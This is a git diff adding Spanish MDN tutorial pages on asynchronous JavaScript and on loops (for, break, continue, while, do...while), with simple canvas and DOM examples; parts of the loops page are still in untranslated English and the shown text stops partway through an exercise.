+<p class="summary"><span class="seoSummary">En este módulo echamos un vistazo a {{Glossary("JavaScript")}} {{Glossary("asíncrono")}}, por qué es importante y cómo se puede utilizar para manejar eficazmente las posibles operaciones de bloqueo, como recuperar recursos desde un servidor</span></p>
+
+<h2 id="Prerrequisitos">Prerrequisitos</h2>
+
+<p>JavaScript asíncrono es un tema bastante avanzado, y se recomienda trabajar con los primeros pasos de JavaScript y los módulos de <a href="/en-US/docs/Learn/JavaScript/Building_blocks">bloques de construcción de JavaScript</a> antes de intentarlo.</p>
+
+<p>Si no está familiarizado con el concepto de programación asincrónica, definitivamente debe comenzar con el artículo <a href="/en-US/docs/Learn/JavaScript/Asynchronous/Concepts">Conceptos generales de programación asincrónica</a> en este módulo. Si es así, probablemente pueda pasar al <a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing">módulo Introducción a JavaScript asíncrono</a>.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>Si está trabajando en una computadora / tableta / otro dispositivo donde no tiene la capacidad de crear sus propios archivos, puede probar (la mayoría de) los ejemplos de código en un programa de codificación en línea como <a href="http://jsbin.com/">JSBin</a> o <a href="https://glitch.com">Glitch</a></p>
+</div>
+
+<h2 id="Guias">Guias</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Concepts">Conceptos generales de programación asincrónica</a></dt>
+ <dd>
+ <p>En este artículo revisaremos una serie de conceptos importantes relacionados con la programación asincrónica y cómo se ve esto en los navegadores web y JavaScript. Debe comprender estos conceptos antes de trabajar en los otros artículos del módulo.</p>
+ </dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing">Introduciendo JavaScript asincrónico</a></dt>
+ <dd>En este artículo recapitulamos brevemente los problemas asociados con JavaScript síncrono, y echamos un primer vistazo a algunas de las diferentes técnicas de JavaScript asíncrono que encontrarás, mostrando cómo pueden ayudarnos a resolver tales problemas.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Loops_and_intervals">JavaScript asíncrono cooperativo: tiempos de espera e intervalos</a></dt>
+ <dd>Aquí observamos los métodos tradicionales que JavaScript tiene disponibles para ejecutar código de forma asíncrona después de que haya transcurrido un período de tiempo establecido, o en un intervalo regular (por ejemplo, un número establecido de veces por segundo), hablemos sobre para qué son útiles y observe su Problemas inherentes.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises">Manejo de operaciones asincrónas con Promises</a></dt>
+ <dd>Las promesas son una característica relativamente nueva de JavaScript que le permite diferir más acciones hasta que la acción anterior se haya completado o responder en caso de tener una falla o error durante su ejecución. Esto es realmente útil para configurar una secuencia de operaciones para que funcione correctamente. Este artículo te muestra cómo funcionan las promesas, dónde las verá en uso en una WebAPI y cómo escribir las tuyas de la manera adecuada.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Async_await">Hacer la programación asincróna más fácil con async y await</a> </dt>
+ <dd>Las promesas pueden ser algo complejas de configurar y comprender, por lo que los navegadores modernos han implementado funciones <code>async</code> y el operador de <code>await</code>. El primero permite que las funciones estándar se comporten implícitamente de forma asíncrona con las promesas, mientras que el segundo puede usarse dentro de las funciones <code>async</code> para esperar las promesas antes de que la función continúe. Esto hace que las promesas de encadenamiento sean más simples y fáciles de leer.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">Elegir el enfoque correcto</a></dt>
+ <dd>Para finalizar este módulo, consideraremos las diferentes técnicas y características de codificación que hemos discutido a lo largo de todo, y veremos cuáles deberias usar cuando, con recomendaciones y recordatorios de dificultades comunes, sea lo más apropiado.</dd>
+</dl>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://eloquentjavascript.net/11_async.html">Asynchronous Programming</a> from the fantastic <a href="https://eloquentjavascript.net/">Eloquent JavaScript</a> online book by Marijn Haverbeke.</li>
+</ul>
diff --git a/files/es/learn/javascript/building_blocks/bucle_codigo/index.html b/files/es/learn/javascript/building_blocks/bucle_codigo/index.html
new file mode 100644
index 0000000000..e26509afc5
--- /dev/null
+++ b/files/es/learn/javascript/building_blocks/bucle_codigo/index.html
@@ -0,0 +1,923 @@
+---
+title: Bucles
+slug: Learn/JavaScript/Building_blocks/Bucle_codigo
+translation_of: Learn/JavaScript/Building_blocks/Looping_code
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/conditionals","Learn/JavaScript/Building_blocks/Functions", "Learn/JavaScript/Building_blocks")}}</div>
+
+<p class="summary">Los lenguajes de programación son muy útiles para completar rápidamente tareas repetitivas, desde múltimples cálculos básicos hasta cualquier otra situación en donde tengas un montón de elementos de trabajo similares que completar. Aquí vamos a ver las estructuras de bucles disponibles en JavaScript que pueden manejar tales necesidades.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisitos:</th>
+   <td>Conocimientos básicos de computación, entendimiento básico de HTML y CSS, <a href="/en-US/docs/Learn/JavaScript/First_steps">JavaScript first steps</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Entender cómo usar bucles en JavaScript.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Mantente_en_el_Bucle">Mantente en el Bucle</h2>
+
+<p>Bucles, bucles, bucles. Además de ser conocidos como un cereal de desayuno popular, montañas rusas y producción músical, también son un concepto muy importante en programación. Los bucles de programación están relacionados con todo lo referente a hacer una misma cosa una y otra vez — que se denomina como <strong>iteración </strong>en el idioma de programación.</p>
+
+<p>Consideremos el caso de un agricultor que se asegura de tener suficiente comida para alimentar a su familia durante la semana. Podría usar el siguiente bucle para lograr esto:</p>
+
+<p><br>
+ <img alt="" src="https://mdn.mozillademos.org/files/13755/loop_js-02-farm.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Un bucle cuenta con una o más de las siguientes características:</p>
+
+<ul>
+ <li> Un <strong>contador,</strong> que se inicia con un determinado valor — este será el valor del punto inicial del bucle ("Inicio: No tengo comida",mirar arriba).</li>
+ <li>Una <strong>condicion de salida</strong>, que será el criterio bajo el cual, el bucle se romperá — normalmente un contador que alcanza un determinado valor. Aquí se ilustra como "¿Tengo suficiente comida?", arriba. Digamos que son necesarias 10 porciones de comida para alimentar a su familia.</li>
+ <li>Un <strong>iterador, </strong>que generalmente incrementa el valor del contador en una cantidad pequeña a cada paso del bucle, hasta que alcanza la condición de salida. No hemos ilustrado esto de manera explícita arriba, pero podríamos pensar que el granjero está recolectando 2 porciones de comida cada hora. Después de cada hora, la cantidad de comida recolectada se incrementa en dos, y comprueba si tiene suficiente comida. Si alcanza los 10 puntos (la condición de salida), puede parar la recolecta e irse para casa.</li>
+</ul>
+
+<p>En {{glossary("pseudocódigo")}},esto se vería como sigue:</p>
+
+<pre class="notranslate">bucle(comida = 0; comidaNecesaria = 10) {
+  if (comida = comidaNecesaria) {
+    salida bucle;
+    // Tenemos suficiente comida; vamonos para casa
+  } else {
+    comida += 2; // Pasar una hora recogiendo 2 más de comida
+    // Comenzar el bucle de nuevo
+  }
+}</pre>
+
+<p>Así que la cantidad necesaria de comida se establece en 10, y la cantidad incial del granjero en 0. En cada iteración del bucle comprobamos si la cantidad de comida del granjero es mayor o igual a la cantidad que necesita. Si lo es, podemos salir del bucle. Si no, el granjero se pasará una hora más recogiendo dos porciones de comida, y el bucle arrancará de nuevo.</p>
+
+<h3 id="¿Por_qué_molestarse">¿Por qué molestarse?</h3>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">En este punto, probablemente entiendas los conceptos de alto nivel que hay detrás de los bucles,</span></span> pero probablemente estés pensando "OK, fantástico, pero ¿cómo me ayuda esto a escribir un mejor codigo JavaScript?". Como dijimos antes, <strong>los bucles tienen que ver con hacer lo mismo una y otra vez</strong>, lo cual es bueno para <strong>completar rápidamente tareas repetitivas</strong>.</p>
+
+<p>Muchas veces, el código será ligeramente diferente en cada iteracción sucesiva del bucle, lo que significa que puedes completar una carga completa de tareas que son similares, pero ligeramente diferentes — si tienes muchos calculos diferentes que hacer, quieres hacer cada uno de ellos, ¡no el mismo una y otra vez!</p>
+
+<p>Vamos a ver un ejemplo para ilustrar perfectamente por qué los bucles son tan útiles. Digamos que queremos dibujar 100 círculos aleatorios en un elemento {{htmlelement("canvas")}} (presiona el botón <em>Update</em> para ejecutar el ejemplo una y otra vez y ver diferentes configuraciones aleatorias):</p>
+
+<div class="hidden">
+<h6 id="Hidden_code">Hidden code</h6>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;Random canvas circles&lt;/title&gt;
+    &lt;style&gt;
+      html {
+        width: 100%;
+        height: inherit;
+        background: #ddd;
+      }
+
+      canvas {
+        display: block;
+      }
+
+      body {
+        margin: 0;
+      }
+
+      button {
+        position: absolute;
+        top: 5px;
+        left: 5px;
+      }
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+
+  &lt;button&gt;Update&lt;/button&gt;
+
+  &lt;canvas&gt;&lt;/canvas&gt;
+
+
+    &lt;script&gt;
+    var btn = document.querySelector('button');
+    var canvas = document.querySelector('canvas');
+    var ctx = canvas.getContext('2d');
+
+    var WIDTH = document.documentElement.clientWidth;
+    var HEIGHT = document.documentElement.clientHeight;
+
+    canvas.width = WIDTH;
+    canvas.height = HEIGHT;
+
+    function random(number) {
+      return Math.floor(Math.random()*number);
+    }
+
+    function draw() {
+      ctx.clearRect(0,0,WIDTH,HEIGHT);
+      for (var i = 0; i &lt; 100; i++) {
+        ctx.beginPath();
+        ctx.fillStyle = 'rgba(255,0,0,0.5)';
+        ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
+        ctx.fill();
+      }
+    }
+
+    btn.addEventListener('click',draw);
+
+    &lt;/script&gt;
+
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Hidden_code', '100%', 400, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<p>No tienes que entender todo el código por ahora, pero vamos a echar un vistazo a la parte de código que dibuja los 100 círculos:</p>
+
+<pre class="brush: js notranslate">for (var i = 0; i &lt; 100; i++) {
+  ctx.beginPath();
+  ctx.fillStyle = 'rgba(255,0,0,0.5)';
+  ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
+  ctx.fill();
+}</pre>
+
+<p>Debes quedarte con la idea básica.  — utilizamos un bucle para ejecutar 100 iteracciones de este código, cada una de las cuales dibuja un círculo en una posición aleatoria de la página. La cantidad de código necesario sería el mismo si dibujáramos 100, 1000, o 10,000 círculos. Solo necesitamos cambiar un número.</p>
+
+<p>Si no usáramos un bucle aquí, tendríamos que repetir el siguiente código por cada círculo que quisiéramos dibujar:</p>
+
+<pre class="brush: js notranslate">ctx.beginPath();
+ctx.fillStyle = 'rgba(255,0,0,0.5)';
+ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
+ctx.fill();</pre>
+
+<p>Esto sería muy aburrido y difícil de mantener de forma rápida. Los bucles son realmente lo mejor.</p>
+
+<h2 id="El_bucle_estándar_for">El bucle estándar <code>for</code></h2>
+
+<p>Exploremos algunos constructores de bucles específicos. El primero, que usarás la mayoría de las veces, es el bucle <a href="/es/docs/Web/JavaScript/Referencia/Sentencias/for">for</a> - este tiene la siguiente sintaxis:</p>
+
+<pre class="notranslate">for (inicializador; condición de salida; expresión final) {
+  // código a ejecutar
+}</pre>
+
+<p>Aquí tenemos:</p>
+
+<ol>
+ <li>La palabra reservada <code>for</code>, seguida por algunos paréntesis.</li>
+ <li>Dentro de los paréntesis tenemos tres ítems, separados por punto y coma (;):
+  <ol>
+   <li>Un <strong>inicializador</strong> - Este es usualmente una variable con un número asignado, que aumenta el número de veces que el bucle ha sijo ejecutado. También se le llama <strong>contador</strong> o <strong>variable de conteo</strong>.</li>
+   <li>Una <strong>condición de salida</strong> - como se mencionó previamente, ésta define cuando el bucle debería detenerse. Generalmente es una expresión que contiene un operador de comparación, una prueba para verificar ue la condición de término o salida ha sido cumplida.</li>
+   <li>Una <strong>expresión final</strong> - que es siempre evaluada o ejecutada cada vez que el bucle ha completado una iteración. Usualmente sirve para modificar al contador (incrementando su valor o algunas veces disminuyendolo), para aproximarse a la condición de salida.</li>
+  </ol>
+ </li>
+ <li>Algunos corchetes curvos que contienen un bloque de código - este código se ejecutará cada vez que se repita el bucle.</li>
+</ol>
+
+<p>Observa un ejemplo real para poder entender esto más claramente.</p>
+
+<pre class="brush: js notranslate">var cats = ['Bill', 'Jeff', 'Pete', 'Biggles', 'Jasmin'];
+var info = 'My cats are called ';
+var para = document.querySelector('p');
+
+for (var i = 0; i &lt; cats.length; i++) {
+  info += cats[i] + ', ';
+}
+
+para.textContent = info;</pre>
+
+<p>Esto nos da el siguiente resultado:</p>
+
+<div class="hidden">
+<h6 id="Hidden_code_2">Hidden code 2</h6>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;Basic for loop example&lt;/title&gt;
+    &lt;style&gt;
+
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+
+  &lt;p&gt;&lt;/p&gt;
+
+
+    &lt;script&gt;
+    var cats = ['Bill', 'Jeff', 'Pete', 'Biggles', 'Jasmin'];
+    var info = 'My cats are called ';
+    var para = document.querySelector('p');
+
+    for (var i = 0; i &lt; cats.length; i++) {
+      info += cats[i] + ', ';
+    }
+
+    para.textContent = info;
+
+    &lt;/script&gt;
+
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Hidden_code_2', '100%', 60, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes encontrar este <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/basic-for.html">ejemplo de código en GitHub</a> también (además puedes <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/basic-for.html">verlo ejecutar en vivo</a>).</p>
+</div>
+
+<p>Esto muestra un bucle siendo usado para iterar sobre los elementos de un arreglo (matriz), y hacer algo con cada uno de ellos - un patrón muy común en JavaScript. Aquí:</p>
+
+<ol>
+ <li>El iterador, <code>i</code>, inicia en <code>0</code> (<code>var i = 0</code>).</li>
+ <li>Se le ha dicho que debe ejecutarse hasta que no sea menor que la longitud del arreglo <code>cats</code>. Esto es importante  - la condición de salida muestra la condicion bajo la cual el bucle seguirá iterando. Así, en este caso, mientras <code>i &lt; cats.length</code> sea verdadero, el bucle seguirá ejecutándose.</li>
+ <li>Dentro del bucle, concatenamos el elemento del bucle actual (<code>cats[i]</code> es <code>cats[lo que sea i en ese momento]</code>) junto con una coma y un espacio, al final de la variable <code>info</code>. Así:
+  <ol>
+   <li>Durante la primera ejecución,  <code>i = 0</code>, así <code>cats[0] + ', '</code> se concatenará con la información ("Bill, ").</li>
+   <li>Durante la segunda ejecución, <code>i = 1</code>, así <code>cats[1] + ', '</code> agregará el siguiente nombre ("Jeff, ").</li>
+   <li>Y así sucesivamente. Después de cada vez que se ejecute el bucle, se incrementará en 1 el valod de i (<code>i++</code>), entonces el proceso comenzará de nuevo.</li>
+  </ol>
+ </li>
+ <li>Cuando <code>i</code> sea igual a <code>cats.length</code>, el bucle se detendrá, y el navegador se moverá al siguiente segmento de código bajo el bucle.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Hemos programado la condición de salidad como <code>i &lt; cats.length</code>, y no como <code>i &lt;= cats.length</code>, porque los computadores cuentan desde 0, no 1 - inicializamos la variable i en 0, para llegar a <code>i = 4</code> (el índice del último elemento del arreglo). <code>cats.length</code> responde 5, ya que existen 5 elementos en el arreglo, pero no queremos que i = 5, dado que respondería <code>undefined</code> para el último elemento (no existe un elemento en el arreglo con un índice 5). for the last item (there is no array item with an index of 5). Por ello, queremos llegar a 1 menos que <code>cats.length</code> (<code>i &lt;</code>), que no es lo mismo que <code>cats.length</code> (<code>i &lt;=</code>).</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: Un error común con la condición de salida es utilizar el comparador "igual a" (<code>===</code>) en vez de "menor o igual a" (<code>&lt;=</code>). Si queremos que nuestro bucle se ejecute hasta que  <code>i = 5</code>, la condición de salida debería ser <code>i &lt;= cats.length</code>. Si la declaramos <code>i === cats.length</code>, el bucle no debería ejecutarse , porque <code>i</code> no es igual a <code>5</code> en la primera iteración del bucle, por lo que debería detenerse inmediatamente.</p>
+</div>
+
+<p>Un pequeño problema que se presenta es que la frase de salida final no está muy bien formada:</p>
+
+<blockquote>
+<p>My cats are called Bill, Jeff, Pete, Biggles, Jasmin,</p>
+</blockquote>
+
+<p>Idealmente querríamos cambiar la concatenacion al final de la última iteracion del bucle, así no tendríamos una coma en el final de la frase. Bueno, no hay problema - podemos insertar un condicional dentro de nuestro bucle para solucionar este caso especial:</p>
+
+<pre class="brush: js notranslate">for (var i = 0; i &lt; cats.length; i++) {
+  if (i === cats.length - 1) {
+    info += 'and ' + cats[i] + '.';
+  } else {
+    info += cats[i] + ', ';
+  }
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: You can find this <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/basic-for-improved.html">example code on GitHub</a> too (also <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/basic-for-improved.html">see it running live</a>).</p>
+</div>
+
+<div class="warning">
+<p><strong>Importante</strong>: Con <code>for</code> - como con todos los bucles - debes estar seguro de que el inicializador es repetido hasta que eventualemtne alcance la condición de salida. Si no, el bucle seguirá repitiéndose indefinidamente, y puede que el navegador lo fuerce a detenerse o se interrumpa. Esto se denomina <strong>bucle infinito</strong>.</p>
+</div>
+
+<h2 id="Salir_de_un_bucle_con_break">Salir de un bucle con <code>break</code></h2>
+
+<p>Si deseas salir de un bucle antes de que se hayan completado todas las iteraciones, puedes usar la declaración <a href="/es/docs/Web/JavaScript/Referencia/Sentencias/break">break</a>. Ya la vimos en el artículo previo cuando revisamos la declaración <a href="/es/docs/Web/JavaScript/Referencia/Sentencias/switch">switch</a> - cuando un caso en una declaración <code>switch</code> coincide con la expresión de entrada, la declaración <code>break</code> inmediatamente sale de la declaración <code>switch</code> y avanza al código que se encuentra después.</p>
+
+<p>Ocurre lo mismo con los bucles - una declaración <code>break</code> saldrá inmediatamente del bucle y hará que el navegador siga con el código que sigue después.</p>
+
+<p>Digamos que queremos buscar a través de un arreglo de contactos y números telefónicos y retornar sólo el número que queríamos encontrar. primero, un simple HTML -  un {{htmlelement("input")}} de texto que nos permita ingresar un nombre para buscar, un elemento {{htmlelement("button")}} para enviar la búsqueda, y un elemento {{htmlelement("p")}} para mostrar el resultado:</p>
+
+<pre class="brush: html notranslate">&lt;label for="search"&gt;Search by contact name: &lt;/label&gt;
+&lt;input id="search" type="text"&gt;
+&lt;button&gt;Search&lt;/button&gt;
+
+&lt;p&gt;&lt;/p&gt;</pre>
+
+<p>Ahora en el JavaScript:</p>
+
+<pre class="brush: js notranslate">var contacts = ['Chris:2232322', 'Sarah:3453456', 'Bill:7654322', 'Mary:9998769', 'Dianne:9384975'];
+var para = document.querySelector('p');
+var input = document.querySelector('input');
+var btn = document.querySelector('button');
+
+btn.addEventListener('click', function() {
+  var searchName = input.value;
+  input.value = '';
+  input.focus();
+  for (var i = 0; i &lt; contacts.length; i++) {
+    var splitContact = contacts[i].split(':');
+    if (splitContact[0] === searchName) {
+      para.textContent = splitContact[0] + '\'s number is ' + splitContact[1] + '.';
+      break;
+    } else {
+      para.textContent = 'Contact not found.';
+    }
+  }
+});</pre>
+
+<div class="hidden">
+<h6 id="Hidden_code_3">Hidden code 3</h6>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;Simple contact search example&lt;/title&gt;
+    &lt;style&gt;
+
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+
+  &lt;label for="search"&gt;Search by contact name: &lt;/label&gt;
+  &lt;input id="search" type="text"&gt;
+  &lt;button&gt;Search&lt;/button&gt;
+
+  &lt;p&gt;&lt;/p&gt;
+
+
+    &lt;script&gt;
+    var contacts = ['Chris:2232322', 'Sarah:3453456', 'Bill:7654322', 'Mary:9998769', 'Dianne:9384975'];
+    var para = document.querySelector('p');
+    var input = document.querySelector('input');
+    var btn = document.querySelector('button');
+
+    btn.addEventListener('click', function() {
+      var searchName = input.value;
+      input.value = '';
+      input.focus();
+      for (var i = 0; i &lt; contacts.length; i++) {
+        var splitContact = contacts[i].split(':');
+        if (splitContact[0] === searchName) {
+          para.textContent = splitContact[0] + '\'s number is ' + splitContact[1] + '.';
+          break;
+        } else {
+          para.textContent = 'Contact not found.';
+        }
+      }
+    });
+    &lt;/script&gt;
+
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Hidden_code_3', '100%', 100, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<ol>
+ <li>First of all we have some variable definitions — we have an array of contact information, with each item being a string containing a name and phone number separated by a colon.</li>
+ <li>Next, we attach an event listener to the button (<code>btn</code>), so that when it is pressed, some code is run to perform the search and return the results.</li>
+ <li>We store the value entered into the text input in a variable called <code>searchName</code>, before then emptying the text input and focusing it again, ready for the next search.</li>
+ <li>Now onto the interesting part, the for loop:
+  <ol>
+   <li>We start the counter at <code>0</code>, run the loop until the counter is no longer less than <code>contacts.length</code>, and increment <code>i</code> by 1 after each iteration of the loop.</li>
+   <li>Inside the loop we first split the current contact (<code>contacts[i]</code>) at the colon character, and store the resulting two values in an array called <code>splitContact</code>.</li>
+   <li>We then use a conditional statement to test whether <code>splitContact[0]</code> (the contact's name) is equal to the inputted <code>searchName</code>. If it is, we enter a string into the paragraph to report what the contact's number is, and use <code>break</code> to end the loop.</li>
+  </ol>
+ </li>
+ <li>If the contact name does not match the entered search, the paragraph text is set to "Contact not found.", and the loop continues iterating.</li>
+</ol>
+
+<div class="note">
+<p>Note: You can view the <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/contact-search.html">full source code on GitHub</a> too (also <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/contact-search.html">see it running live</a>).</p>
+</div>
+
+<h2 id="Skipping_iterations_with_continue">Skipping iterations with continue</h2>
+
+<p>The <a href="/en-US/docs/Web/JavaScript/Reference/Statements/continue">continue</a> statement works in a similar manner to <code>break</code>, but instead of breaking out of the loop entirely, it skips to the next iteration of the loop. Let's look at another example that takes a number as an input, and returns only the numbers that are squares of integers (whole numbers).</p>
+
+<p>The HTML is basically the same as the last example — a simple text input, and a paragraph for output. The JavaScript is mostly the same too, although the loop itself is a bit different:</p>
+
+<pre class="brush: js notranslate">var num = input.value;
+
+for (var i = 1; i &lt;= num; i++) {
+  var sqRoot = Math.sqrt(i);
+  if (Math.floor(sqRoot) !== sqRoot) {
+    continue;
+  }
+
+  para.textContent += i + ' ';
+}</pre>
+
+<p>Here's the output:</p>
+
+<div class="hidden">
+<h6 id="Hidden_code_4">Hidden code 4</h6>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;Integer squares generator&lt;/title&gt;
+    &lt;style&gt;
+
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+
+  &lt;label for="number"&gt;Enter number: &lt;/label&gt;
+  &lt;input id="number" type="text"&gt;
+  &lt;button&gt;Generate integer squares&lt;/button&gt;
+
+  &lt;p&gt;Output: &lt;/p&gt;
+
+
+    &lt;script&gt;
+    var para = document.querySelector('p');
+    var input = document.querySelector('input');
+    var btn = document.querySelector('button');
+
+    btn.addEventListener('click', function() {
+      para.textContent = 'Output: ';
+      var num = input.value;
+      input.value = '';
+      input.focus();
+      for (var i = 1; i &lt;= num; i++) {
+        var sqRoot = Math.sqrt(i);
+        if (Math.floor(sqRoot) !== sqRoot) {
+          continue;
+        }
+
+        para.textContent += i + ' ';
+      }
+    });
+    &lt;/script&gt;
+
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Hidden_code_4', '100%', 100, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<ol>
+ <li>In this case, the input should be a number (<code>num</code>). The <code>for</code> loop is given a counter starting at 1 (as we are not interested in 0 in this case), an exit condition that says the loop will stop when the counter becomes bigger than the input <code>num</code>, and an iterator that adds 1 to the counter each time.</li>
+ <li>Inside the loop, we find the square root of each number using <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/sqrt">Math.sqrt(i)</a>, then check whether the square root is an integer by testing whether it is the same as itself when it has been rounded down to the nearest integer (this is what <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/floor">Math.floor()</a> does to the number it is passed).</li>
+ <li>If the square root and the rounded down square root do not equal one another (<code>!==</code>), it means that the square root is not an integer, so we are not interested in it. In such a case, we use the <code>continue</code> statement to skip on to the next loop iteration without recording the number anywhere.</li>
+ <li>If the square root IS an integer, we skip past the if block entirely so the <code>continue</code> statement is not executed; instead, we concatenate the current <code>i</code> value plus a space on to the end of the paragraph content.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: You can view the <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/integer-squares.html">full source code on GitHub</a> too (also <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/integer-squares.html">see it running live</a>).</p>
+</div>
+
+<h2 id="while_and_do_..._while">while and do ... while</h2>
+
+<p><code>for</code> is not the only type of loop available in JavaScript. There are actually many others and, while you don't need to understand all of these now, it is worth having a look at the structure of a couple of others so that you can recognize the same features at work in a slightly different way.</p>
+
+<p>First, let's have a look at the <a href="/en-US/docs/Web/JavaScript/Reference/Statements/while">while</a> loop. This loop's syntax looks like so:</p>
+
+<pre class="notranslate">initializer
+while (exit-condition) {
+  // code to run
+
+  final-expression
+}</pre>
+
+<p>This works in a very similar way to the for loop, except that the initializer variable is set before the loop, and the final-expression is included inside the loop after the code to run — rather than these two items being included inside the parentheses. The exit-condition is included inside the parentheses, which are preceded by the <code>while</code> keyword rather than <code>for</code>.</p>
+
+<p>The same three items are still present, and they are still defined in the same order as they are in the for loop — this makes sense, as you still have to have an initializer defined before you can check whether it has reached the exit-condition; the final-condition is then run after the code inside the loop has run (an iteration has been completed), which will only happen if the exit-condition has still not been reached.</p>
+
+<p>Let's have a look again at our cats list example, but rewritten to use a while loop:</p>
+
+<pre class="brush: js notranslate">var i = 0;
+
+while (i &lt; cats.length) {
+  if (i === cats.length - 1) {
+    info += 'and ' + cats[i] + '.';
+  } else {
+    info += cats[i] + ', ';
+  }
+
+  i++;
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: This still works just the same as expected — have a look at it <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/while.html">running live on GitHub</a> (also view the <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/while.html">full source code</a>).</p>
+</div>
+
+<p>The <a href="/en-US/docs/Web/JavaScript/Reference/Statements/do...while">do...while</a> loop is very similar, but provides a variation on the while structure:</p>
+
+<pre class="notranslate">initializer
+do {
+  // code to run
+
+  final-expression
+} while (exit-condition)</pre>
+
+<p>In this case, the initializer again comes first, before the loop starts. The <code>do</code> keyword directly precedes the curly braces containing the code to run and the final-expression.</p>
+
+<p>The differentiator here is that the exit-condition comes after everything else, wrapped in parentheses and preceded by a <code>while</code> keyword. In a <code>do...while</code> loop, the code inside the curly braces is always run once before the check is made to see if it should be executed again (in while and for, the check comes first, so the code might never be executed).</p>
+
+<p>Let's rewrite our cat listing example again to use a <code>do...while</code> loop:</p>
+
+<pre class="brush: js notranslate">var i = 0;
+
+do {
+  if (i === cats.length - 1) {
+    info += 'and ' + cats[i] + '.';
+  } else {
+    info += cats[i] + ', ';
+  }
+
+  i++;
+} while (i &lt; cats.length);</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Again, this works just the same as expected — have a look at it <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/do-while.html">running live on GitHub</a> (also view the <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/do-while.html">full source code</a>).</p>
+</div>
+
+<div class="warning">
+<p><strong>Important</strong>: With while and do...while — as with all loops — you must make sure that the initializer is iterated so that it eventually reaches the exit condition. If not, the loop will go on forever, and either the browser will force it to stop, or it will crash. This is called an <strong>infinite loop</strong>.</p>
+</div>
+
+<h2 id="Active_learning_Launch_countdown!">Active learning: Launch countdown!</h2>
+
+<p>In this exercise, we want you to print out a simple launch countdown to the output box, from 10 down to Blast off. Specifically, we want you to:</p>
+
+<ul>
+ <li>Loop from 10 down to 0. We've provided you with an initializer — <code>var i = 10;</code>.</li>
+ <li>For each iteration, create a new paragraph and append it to the output <code>&lt;div&gt;</code>, which we've selected using <code>var output = document.querySelector('.output');</code>. In comments, we've provided you with three code lines that need to be used somewhere inside the loop:
+  <ul>
+   <li><code>var para = document.createElement('p');</code> — creates a new paragraph.</li>
+   <li><code>output.appendChild(para);</code> — appends the paragraph to the output <code>&lt;div&gt;</code>.</li>
+   <li><code>para.textContent =</code> — makes the text inside the paragraph equal to whatever you put on the right hand side, after the equals sign.</li>
+  </ul>
+ </li>
